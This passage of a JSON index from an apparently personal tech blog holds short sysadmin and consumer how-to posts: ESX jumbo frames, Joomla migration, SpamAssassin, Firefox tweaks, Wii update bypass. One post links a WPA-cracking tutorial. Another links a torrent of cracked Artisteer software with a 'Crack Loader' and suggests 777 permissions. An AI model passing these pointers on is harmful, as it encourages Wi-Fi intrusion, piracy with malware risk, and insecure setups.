src=\"/wp-content/uploads/2010/02/screenshot.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"distributions-with-built-in-support-link-to-this-section\"\u003eDistributions with Built-in Support \u003ca href=\"http://sourceforge.net/apps/trac/unetbootin/wiki/builtin-distributions#DistributionswithBuilt-inSupport\" title=\"Link to this section\"\u003eLink to this section\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003eUNetbootin has built-in support for downloading and installing the following distributions:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://www.ubuntu.com/\"\u003eUbuntu\u003c/a\u003e (and official derivatives)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e6.06 LTS\u003c/li\u003e\n\u003cli\u003e6.10\u003c/li\u003e\n\u003cli\u003e7.04\u003c/li\u003e\n\u003cli\u003e7.10\u003c/li\u003e\n\u003cli\u003e8.04 LTS\u003c/li\u003e\n\u003cli\u003e8.10\u003c/li\u003e\n\u003cli\u003e9.04\u003c/li\u003e\n\u003cli\u003eDaily CD Images\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://www.debian.org/\"\u003eDebian\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eStable/Etch\u003c/li\u003e\n\u003cli\u003eTesting/Lenny\u003c/li\u003e\n\u003cli\u003eUnstable/Sid\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://linuxmint.com/\"\u003eLinux Mint\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e3.1\u003c/li\u003e\n\u003cli\u003e4.0\u003c/li\u003e\n\u003cli\u003e5- \u003ca href=\"http://sourceforge.net/apps/trac/unetbootin/changeset/1\"\u003er1\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e6\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://www.opensuse.org/\"\u003eopenSUSE\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e10.2\u003c/li\u003e\n\u003cli\u003e10.3\u003c/li\u003e\n\u003cli\u003e11.0\u003c/li\u003e\n\u003cli\u003e11.1\u003c/li\u003e\n\u003cli\u003eFactory\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://www.archlinux.org/\"\u003eArch Linux\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e2007.08\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://www.damnsmalllinux.org/\"\u003eDamn Small Linux\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e4.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://www.slitaz.org/en/\"\u003eSliTaz\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eStable\u003c/li\u003e\n\u003cli\u003eCooking\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://www.puppylinux.org/\"\u003ePuppy Linux\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e4.00\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://www.gnewsense.org/\"\u003egNewSense\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003edeltah-2.1\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://www.freebsd.org/\"\u003eFreeBSD\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e6.3\u003c/li\u003e\n\u003cli\u003e7.0\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://www.netbsd.org/\"\u003eNetBSD\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e4.0\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://fedoraproject.org/\"\u003eFedora\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e7\u003c/li\u003e\n\u003cli\u003e8\u003c/li\u003e\n\u003cli\u003e9\u003c/li\u003e\n\u003cli\u003e10\u003c/li\u003e\n\u003cli\u003eRawhide\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://www.pclinuxos.com/\"\u003ePCLinuxOS\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e2007\u003c/li\u003e\n\u003cli\u003e2008\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://www.sabayonlinux.org/\"\u003eSabayon Linux\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e4-LiteMCE\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://www.gentoo.org/\"\u003eGentoo\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e2007.0\u003c/li\u003e\n\u003cli\u003e2008.0\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://www.mepis.org/\"\u003eMEPIS\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eSimplyMEPIS 8\u003c/li\u003e\n\u003cli\u003eAntiX 8\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://www.zenwalk.org/\"\u003eZenwalk\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e5.2\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://www.slax.org/\"\u003eSlax\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e6\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://www.dreamlinux.com.br/\"\u003eDreamlinux\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e3.2\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://www.elivecd.org/\"\u003eElive\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eDevelopment\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://www.centos.org/\"\u003eCentOS\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e4\u003c/li\u003e\n\u003cli\u003e5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://www.mandriva.com/\"\u003eMandriva\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e2007.1\u003c/li\u003e\n\u003cli\u003e2008.0\u003c/li\u003e\n\u003cli\u003e2008.1\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://www.faunos.com/\"\u003eFaunOS\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e0.5.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://frugalware.org/\"\u003eFrugalware Linux\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eStable\u003c/li\u003e\n\u003cli\u003eTesting\u003c/li\u003e\n\u003cli\u003eCurrent\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://www.xpud.org/\"\u003exPUD\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e0.8.9\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e","title":"Boot Linux (live) Distro from USB"},{"content":"After you removed the C:\\users\\someprofile\\ you get the error \u0026ldquo;your user profile was not loaded correctly\u0026rdquo;. To fix this start regedit go to: HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList search the currupted profile and remove the key.\n","permalink":"https://blog.wapnet.nl/2010/02/windows-vista2008-your-user-profile-was-not-loaded-correctly/","summary":"\u003cp\u003eAfter you removed the C:\\users\\someprofile\\ you get the error \u0026ldquo;your user profile was not loaded correctly\u0026rdquo;. To fix this start regedit go to: HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList search the currupted profile and remove the key.\u003c/p\u003e","title":"Windows Vista/2008 your user profile was not loaded correctly"},{"content":"Update Deamon\nsa-update -D\nRestart Service\nservice spamassassin restart\nCheck version\nperl -MMail::SpamAssassin -e \u0026lsquo;print $Mail::SpamAssassin::VERSION;\u0026rsquo;\n","permalink":"https://blog.wapnet.nl/2010/02/spamassisn-update/","summary":"\u003cp\u003eUpdate Deamon\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003esa-update -D\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eRestart Service\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eservice spamassassin restart\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eCheck version\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eperl -MMail::SpamAssassin -e \u0026lsquo;print $Mail::SpamAssassin::VERSION;\u0026rsquo;\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Spamassisn Update"},{"content":"Jumbo Frames !!!!!!\n-\u0026gt; Lets understand what’s Jumbo Frames first and how it benefits us \u0026hellip;\nJumbo frames are Ethernet frames with more than 1,500 bytes of payload (MTU). Conventionally, jumbo frames can carry up to 9,000 bytes of payload.\nJumbo Frames allow ESX Server to send larger frames out onto the physical network. The network must support Jumbo Frames end‐to‐end for Jumbo Frames to be effective.\niSCSI with jumbo frames gives better or rather much better performance .If you are getting sluggish performance then try enabling jumbo frames\nSo let’s activate it, I have used Jumbo frames only with SW initiator not HW one so if some can comment on how it works on HW it would be in for a great benefit.\nMost probably you might have your VMkernel setup with 1500 MTU so we need to delete it and start over again. Its recommend to start from 0 but if you wish you can enable the jumbo frames on the fly, it won\u0026rsquo;t throw any errors.\nIn my case vSwitch1 was used as VMkernel for iscsi.\nStep 1: [root@esx sysconfig]# esxcfg-vswitch -d vSwitch1 Step 2:\nThen I went ahead and did a listing\n[root@esx sysconfig]# esxcfg-vswitch -l Switch Name Num Ports Used Ports Configured Ports MTU Uplinks vSwitch0 32 3 32 9000 vmnic0\nPortGroup Name VLAN ID Used Ports Uplinks VM Network 0 0 vmnic0 Service Console 0 1 vmnic0\nAs it can be seen no VMkernel\nThen lets start the stuff \u0026hellip;\u0026hellip;\u0026hellip;\nStep 3:\nAdd a vSwitch\n[root@esx sysconfig]# esxcfg-vswitch -a vSwitch1 Step 4:\nList it\u0026hellip;. [root@esx sysconfig]# esxcfg-vswitch -l Switch Name Num Ports Used Ports Configured Ports MTU Uplinks vSwitch0 32 3 32 9000 vmnic0 PortGroup Name VLAN ID Used Ports Uplinks VM Network 0 0 vmnic0 Service Console 0 1 vmnic0 Switch Name Num Ports Used Ports Configured Ports MTU Uplinks vSwitch1 64 1 64 1500 PortGroup Name VLAN ID Used Ports Uplinks\nStep 5: Lets set the jumbo frames AKA MTU\nIf you wish you can execute the below command on the fly to your vSwitch without deleting it[root@esx sysconfig]# esxcfg-vswitch -m 9000 vSwitch1 List it to see the diference [root@esx sysconfig]# esxcfg-vswitch -l Switch Name Num Ports Used Ports Configured Ports MTU Uplinks vSwitch0 32 3 32 9000 vmnic0 PortGroup Name VLAN ID Used Ports Uplinks VM Network 0 0 vmnic0 Service Console 0 1 vmnic0 Switch Name Num Ports Used Ports Configured Ports MTU Uplinks vSwitch1 64 1 64 9000 PortGroup Name VLAN ID Used Ports Uplinks As it can be seen MTU is now 9000 not 1500\nStep 6 : Lets assign a NIC to the newly created vSwitch [root@esx sysconfig]# esxcfg-vswitch -L vmnic1 vSwitch1 The result [root@esx sysconfig]# esxcfg-vswitch - l Switch Name Num Ports Used Ports Configured Ports MTU Uplinks vSwitch0 32 3 32 9000 vmnic0 PortGroup Name VLAN ID Used Ports Uplinks VM Network 0 0 vmnic0 Service Console 0 1 vmnic0 Switch Name Num Ports Used Ports Configured Ports MTU Uplinks vSwitch1 64 2 64 9000 vmnic1 PortGroup Name VLAN ID Used Ports Uplinks Step 7: Lets give it a port group [root@esx sysconfig]# esxcfg-vswitch -A VMkernel vSwitch1 Step 8:\nLets see Whether we got desired output [root@esx sysconfig]# esxcfg-vswitch -l Switch Name Num Ports Used Ports Configured Ports MTU Uplinks vSwitch0 32 3 32 9000 vmnic0 PortGroup Name VLAN ID Used Ports Uplinks VM Network 0 0 vmnic0 Service Console 0 1 vmnic0 Switch Name Num Ports Used Ports Configured Ports MTU Uplinks vSwitch1 64 2 64 9000 vmnic1 PortGroup Name VLAN ID Used Ports Uplinks VMkernel 0 0 vmnic1 Step 9:\nNow lets give it IP [root@esx sysconfig]# esxcfg-vmknic -a -i 192.168.0.11 -n 255.255.255.0 -m 9000 VMkernel Hmm the output is \u0026hellip;\u0026hellip;.. [root@esx sysconfig]# esxcfg-vswitch -l Switch Name Num Ports Used Ports Configured Ports MTU Uplinks vSwitch0 32 3 32 9000 vmnic0 PortGroup Name VLAN ID Used Ports Uplinks VM Network 0 0 vmnic0 Service Console 0 1 vmnic0 Switch Name Num Ports Used Ports Configured Ports MTU Uplinks vSwitch1 64 3 64 9000 vmnic1 PortGroup Name VLAN ID Used Ports Uplinks VMkernel 0 1 vmnic1 Property of vmknic [root@esx sysconfig]# esxcfg-vmknic -l Interface Port Group/DVPort IP Family IP Address Netmask Broadcast MAC Address MTU TSO MSS Enabled Type vmk0 VMkernel IPv4 192.168.0.11 255.255.255.0 192.168.0.255 00:XX:83:91:23:14 9000 65535 true STATIC\nSource: http://moizzy.blogspot.com/2010/02/configure-jumbo-frames-in-esx-4-for.html\n","permalink":"https://blog.wapnet.nl/2010/02/configure-jumbo-frames-in-esx-4-vsphere/","summary":"\u003cp\u003e\u003cstrong\u003eJumbo Frames !!!!!!\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e-\u0026gt; Lets understand what’s Jumbo Frames first and how it benefits us \u0026hellip;\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eJumbo frames\u003c/strong\u003e are Ethernet frames with more than 1,500 bytes of payload (MTU). Conventionally, jumbo frames can carry up to 9,000 bytes of payload.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eJumbo Frames allow ESX Server to send larger frames out onto the physical network. The network must support Jumbo Frames end‐to‐end for Jumbo Frames to be effective.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eiSCSI with jumbo frames gives better or rather much better performance .If you are getting sluggish performance then try enabling jumbo frames\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e","title":"Configure Jumbo Frames in esx 4 Vsphere"},{"content":"http://g0tmi1k.blogspot.com/2009/07/video-tutorial-how-to-crack-wpawpa2.html\n","permalink":"https://blog.wapnet.nl/2010/02/wpa-cracking/","summary":"\u003cp\u003e\u003ca href=\"http://g0tmi1k.blogspot.com/2009/07/video-tutorial-how-to-crack-wpawpa2.html\"\u003ehttp://g0tmi1k.blogspot.com/2009/07/video-tutorial-how-to-crack-wpawpa2.html\u003c/a\u003e\u003c/p\u003e","title":"WPA Cracking"},{"content":"Hi,\n2 easy commands to secure your Joomla site:\ncd /var/www/somewebdir/ find . -type f -exec chmod 644 {} \\; find . -type d -exec chmod 755 {} \\;\n","permalink":"https://blog.wapnet.nl/2010/01/sshjoomla-secure-web-rights-with-chmod/","summary":"\u003cp\u003eHi,\u003c/p\u003e\n\u003cp\u003e2 easy commands to secure your Joomla site:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003ecd /var/www/somewebdir/\nfind . -type f -exec chmod 644 {} \\;\nfind . -type d -exec chmod 755 {} \\;\u003c/p\u003e\n\u003c/blockquote\u003e","title":"SSH/Joomla secure web rights with chmod"},{"content":"\nNew to Firefox 3.6, when you are on a page, and you want to open a link in a new tab – rather than opening the link in the far right of the tab bar, Firefox will now open the link right next to the tab you are in. Now, while this might be convenient for some, it is a feature I don’t really need. So here is how you can disable the new “Insert Related Tab After Current” tweak in Firefox 3.6.\nMake New Tab Pages Open in the Far Right of the Tab Bar\nType about:config in the address bar. Then, if needed click the “I’ll be careful, I promise!” button. Next, in the filter box – type in: tabs.insertRelatedAfterCurrent Right-click that about:config entry, and select “Toggle” This will convert Firefox back to loading opening a new tab from a web page on the far right of the tab bar, rather than right next to the tab you opened it from.\nTo switch back, follow these same steps and toggle the “false” back to “true”.\nThis should help those of you out there who do not like this new feature to Firefox 3.6, or are just not ready to switch how you open a page in a new tab just yet.\nSource: http://www.firefoxfacts.com/2010/01/22/firefox-3-6-fix-open-new-tabs-in-far-right/\n","permalink":"https://blog.wapnet.nl/2010/01/open-new-tabs-in-far-right/","summary":"\u003cp\u003e\u003cimg alt=\"Fix New Open Link in New Tab Behavior in Firefox 3.6\" loading=\"lazy\" src=\"http://www.firefoxfacts.com/wp-content/uploads/2010/01/fixnewtabfirefox36.png\"\u003e\u003c/p\u003e\n\u003cp\u003eNew to Firefox 3.6, when you are on a page, and you want to open a link in a new tab – rather than opening the link in the far right of the tab bar, Firefox will now open the link right next to the tab you are in.  Now, while this might be convenient for some, it is a feature I don’t really need.  So here is how you can disable the new “Insert Related Tab After Current” tweak in Firefox 3.6.\u003c/p\u003e","title":"Open new tabs in far right"},{"content":"It is very frustrating when you want to pick up the phone and you voicemail is faster than you. There is a way to change the delay of your voicemail:\nPress: **61*0031624|phonenumber|*11*|delay-in-sec-max-30|# and then your dial button.\n","permalink":"https://blog.wapnet.nl/2010/01/change-your-voicemail-pickup-time/","summary":"\u003cp\u003eIt is very frustrating when you want to pick up the phone and you voicemail is faster than you. There is a way to change the delay of your voicemail:\u003c/p\u003e\n\u003cp\u003ePress: **61*0031624|phonenumber|*11*|delay-in-sec-max-30|# and then your dial button.\u003c/p\u003e","title":"Change your voicemail pickup time"},{"content":"Yes, I know\u0026hellip; My Joomla site is very old. In this article I will write down all my migration steps. The best practise is to create a development environment. I download and install a Debian 5.0 (lenny) OS and installed all the common LAMP, SSH, Samba, PHPMyadmin \u0026amp; ImageMagick packages. Then:\nI Copy the content of my site to my development environment Edit the joomla configuration.php file and change my physical paths Upload my database Check all my joomla modules set 777 permisions for easy testing ;) I know from earlier testing that mine Joomla template is not compatible with 1.5. So I download and install Artisteer 2 to create a new template. This software works so easy I created the template with my girlfriend ;) (download torrent) My Biggest concern is the community builder component and the forum. This are the most important modules so I will upgrade them first. Backup administrator/components/com_comprofiler/ ue_config.php, remove the CB module and reinstall the latest versions. (note: latest CB have 1.5.10 native support) My Fireboard version is aleady to the latest version (1.0.5 RC2) :D Now I will install the migrator tools and follow the 5 migration steps @ http://docs.joomla.org/Migrating_from_1.0.x_to_1.5_Stable I have installed the migrator and the fireboard ETL\u0026rsquo;s. After that I create A SQL Dump. Now I must create a new 1.5 install and import everything. Note: You can now download your SQL dump file and upload it into your Joomla! 1.5 installation to continue the process. Don\u0026rsquo;t forget to select migration and use the prefix \u0026lsquo;jos_\u0026rsquo; (this migrator rewrites your prefix to jos_ even if the sites prefix is different). I found a small community builder howto @ http://www.alledia.com/blog/joomla-15/migrating-to-joomla-15/ \\* Step 1: Export the Community Builder database tables from 1.0 \\* Step 2: Download administrator / components / com_profiler / ue_config.php \\* Step 3: Install CB on the 1.5 site: \\* Step 4: Delete the CBt database tables on 1.5 and import the old tables from 1.0 \\* Step 5: Upload the old ue_config.php to administrator / components / com_profiler / ue_config.php For expose I can install the latest version. The copy the ../components/com_expose/expose/img and xml folders to the new site. That as very easy :) For the CB Profile pictures I copy images/comprofiler to the new site. .. to be continued Template fix:\nExtensions \u0026gt; Module manager \u0026gt; Top Menu (or any other menu, e.g. Main Menu) \u0026gt; click to Edit this module \u0026gt; select Position = user3. Save the configuration and go to the frontpage. You should see your Artisteer style applied to the menu items.\nAnd first assign another default template and then your template\nhttp://thepiratebay.org/torrent/5252382/Artisteer_2.3.0.23023___Crack_Loader___VirusFree___Working\n","permalink":"https://blog.wapnet.nl/2010/01/migrate-my-joomla-1-0-15-to-1-5-x/","summary":"\u003cp\u003eYes, I know\u0026hellip; My Joomla site is very old. In this article I will write down all my migration steps. The best practise is to create a development environment. I download and install a Debian 5.0 (lenny) OS and installed all the common LAMP, SSH, Samba, PHPMyadmin \u0026amp; ImageMagick  packages. Then:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eI Copy the content of my site to my development environment\u003c/li\u003e\n\u003cli\u003eEdit the joomla configuration.php file and change my physical paths\u003c/li\u003e\n\u003cli\u003eUpload my database\u003c/li\u003e\n\u003cli\u003eCheck all my joomla modules\u003c/li\u003e\n\u003cli\u003eset 777 permisions for easy testing ;)\u003c/li\u003e\n\u003cli\u003eI know from earlier testing that mine Joomla template is not compatible with 1.5. So I download and install Artisteer 2 to create a new template. This software works so easy I created the template with my girlfriend ;) (\u003ca href=\"http://thepiratebay.org/torrent/5252382/Artisteer_2.3.0.23023___Crack_Loader___VirusFree___Working\"\u003edownload torrent\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMy Biggest concern is the community builder component and the forum. This are the most important modules so I will upgrade them first.\u003c/li\u003e\n\u003cli\u003eBackup administrator/components/com_comprofiler/ \u003cstrong\u003eue_config.php\u003c/strong\u003e, remove the CB module and reinstall the latest versions. (note: latest CB have 1.5.10 native support)\u003c/li\u003e\n\u003cli\u003eMy Fireboard version is aleady to the latest version (1.0.5 RC2) :D\u003c/li\u003e\n\u003cli\u003eNow I will install the migrator tools and follow the 5 migration steps @ \u003ca href=\"http://docs.joomla.org/Migrating_from_1.0.x_to_1.5_Stable\"\u003ehttp://docs.joomla.org/Migrating_from_1.0.x_to_1.5_Stable\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eI have installed the migrator and the fireboard ETL\u0026rsquo;s. After that I create A SQL Dump. Now I must create a new 1.5 install and import everything.\u003c/li\u003e\n\u003cli\u003eNote: You can now download your SQL dump file and upload it into your Joomla! 1.5 installation to continue the process. Don\u0026rsquo;t forget to select migration and use the prefix \u0026lsquo;jos_\u0026rsquo; (this migrator rewrites your prefix to jos_ even if the sites prefix is different).\u003c/li\u003e\n\u003cli\u003eI found a small community builder howto @ \u003ca href=\"http://www.alledia.com/blog/joomla-15/migrating-to-joomla-15/\"\u003ehttp://www.alledia.com/blog/joomla-15/migrating-to-joomla-15/\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\\* Step 1: Export the Community Builder database tables from 1.0\n\\* Step 2: Download administrator / components / com_profiler / ue_config.php\n\\* Step 3: Install CB on the 1.5 site:\n\\* Step 4: Delete the CBt database tables on 1.5 and import the old tables from 1.0\n\\* Step 5: Upload the old ue_config.php to administrator / components / com_profiler / ue_config.php\u003c/li\u003e\n\u003cli\u003eFor expose I can install the latest version. The copy the ../components/com_expose/expose/img and xml folders to the new site. That as very easy :)\u003c/li\u003e\n\u003cli\u003eFor the CB Profile pictures I copy images/comprofiler to the new site.\u003c/li\u003e\n\u003cli\u003e.. to be continued\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eTemplate fix:\u003c/p\u003e","title":"Migrate my Joomla 1.0.15 to 1.5.x"},{"content":" We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things:\n#1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility.\n","permalink":"https://blog.wapnet.nl/2010/01/nice-debian-sudo-quote/","summary":"\u003cblockquote\u003e\n\u003cp\u003eWe trust you have received the usual lecture from the local System\nAdministrator. It usually boils down to these three things:\u003c/p\u003e\n\u003cp\u003e#1) Respect the privacy of others.\n#2) Think before you type.\n#3) With great power comes great responsibility.\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Nice Debian sudo Quote"},{"content":"I have an Compaq nx7400 notebook. This notebook only have Windows XP/Vista drivers on the HP site. But when you want to activate bleutooth it isn\u0026rsquo;t working because you need the HP Wireless Assistant to enable the bluetooth radio.\nYou can find the a Windows 7 compatible HP Wireless Assistant over here: http://h10025.www1.hp.com/ewfrf/wc/softwareDownloadIndex?softwareitem=ob-76368-1\u0026amp;lc=en\u0026amp;dlc=en\u0026amp;cc=us\u0026amp;product=3999409\u0026amp;os=4062\u0026amp;lang=en\nYou can find the windows 7 compatible Bleutooth drivers over here: http://h20000.www2.hp.com/bizsupport/TechSupport/SoftwareDescription.jsp?swItem=ob-76382-1\u0026amp;lang=en\u0026amp;cc=us\u0026amp;idx=3\u0026amp;mode=4\n","permalink":"https://blog.wapnet.nl/2009/12/hp-notebook-enable-bluetooth/","summary":"\u003cp\u003eI have an Compaq nx7400 notebook. This notebook only have Windows XP/Vista drivers on the HP site. But when you want to activate bleutooth it isn\u0026rsquo;t working because you need the HP Wireless Assistant to enable the bluetooth radio.\u003c/p\u003e\n\u003cp\u003eYou can find the a Windows 7 compatible HP Wireless Assistant over here: \u003ca href=\"http://h10025.www1.hp.com/ewfrf/wc/softwareDownloadIndex?softwareitem=ob-76368-1\u0026amp;lc=en\u0026amp;dlc=en\u0026amp;cc=us\u0026amp;product=3999409\u0026amp;os=4062\u0026amp;lang=en\"\u003ehttp://h10025.www1.hp.com/ewfrf/wc/softwareDownloadIndex?softwareitem=ob-76368-1\u0026amp;lc=en\u0026amp;dlc=en\u0026amp;cc=us\u0026amp;product=3999409\u0026amp;os=4062\u0026amp;lang=en\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eYou can find the windows 7 compatible Bleutooth drivers over here: \u003ca href=\"javascript:openExternal('http://h20000.www2.hp.com/bizsupport/TechSupport/SoftwareDescription.jsp?swItem=ob-76382-1\u0026amp;lang=en\u0026amp;cc=us\u0026amp;idx=3\u0026amp;mode=4\u0026amp;')\"\u003ehttp://h20000.www2.hp.com/bizsupport/TechSupport/SoftwareDescription.jsp?swItem=ob-76382-1\u0026amp;lang=en\u0026amp;cc=us\u0026amp;idx=3\u0026amp;mode=4\u003c/a\u003e\u003c/p\u003e","title":"[HP] Notebook Enable Bluetooth"},{"content":"Hi,\nHere you can find the starfall homebrew application. With this software you can skip the required Wii update\u0026rsquo;s in games.\nDownload\nExtract the app in SD\\APPS\\ Start HBC Start the starfall Press multiple times on B+1 (NOT B+2) Disable the update check Have fun! When you have 4.0, 4.1 or 4.2 you can use startpatch if you use 3.4 or 3.6 you must upgrade or downgrade your Wii Firmware.\n","permalink":"https://blog.wapnet.nl/2009/12/wii-disable-update-check-wii/","summary":"\u003cp\u003eHi,\u003c/p\u003e\n\u003cp\u003eHere you can find the starfall homebrew application. With this software you can skip the  required Wii update\u0026rsquo;s in games.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2009/12/5.-Starfall.zip\"\u003eDownload\u003c/a\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eExtract the app in SD\\APPS\\\u003c/li\u003e\n\u003cli\u003eStart HBC\u003c/li\u003e\n\u003cli\u003eStart the starfall\u003c/li\u003e\n\u003cli\u003ePress multiple times on B+1 (NOT B+2)\u003c/li\u003e\n\u003cli\u003eDisable the update check\u003c/li\u003e\n\u003cli\u003eHave fun!\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eWhen you have 4.0, 4.1 or 4.2 you can use \u003ca href=\"http://wiibrew.org/wiki/StartPatch#Download\"\u003estartpatch\u003c/a\u003e if you use 3.4 or 3.6 you must upgrade or downgrade your Wii Firmware.\u003c/p\u003e","title":"[Wii] Disable Update check Wii"},{"content":"There is a new Crap Cleaner version released. You can download it here so you don\u0026rsquo;t have to install something on your pc.\n","permalink":"https://blog.wapnet.nl/2009/12/ccleaner-new-version/","summary":"\u003cp\u003eThere is a new Crap Cleaner version released. You can download it \u003ca href=\"/wp-content/uploads/2009/12/CCleaner.exe\"\u003ehere\u003c/a\u003e so you don\u0026rsquo;t have to install something on your pc.\u003c/p\u003e","title":"[CCleaner] New version!"},{"content":"Hi,\nTo create a connection between your Hyves and your wordpress blog follow this steps:\nCreate an hyves API key @ http://www.hyves.nl/api/ (in detail) Install the WP-Hyves plugin in your Wordpress Insert the API keys in the plugin After your published a post in WP you can publish it to hyves:\nHave fun!\nThomas\n","permalink":"https://blog.wapnet.nl/2009/12/hyves-wordpress-plugin-works/","summary":"\u003cp\u003eHi,\u003c/p\u003e\n\u003cp\u003eTo create a connection between your Hyves and your wordpress blog follow this steps:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eCreate an hyves API key @ \u003ca 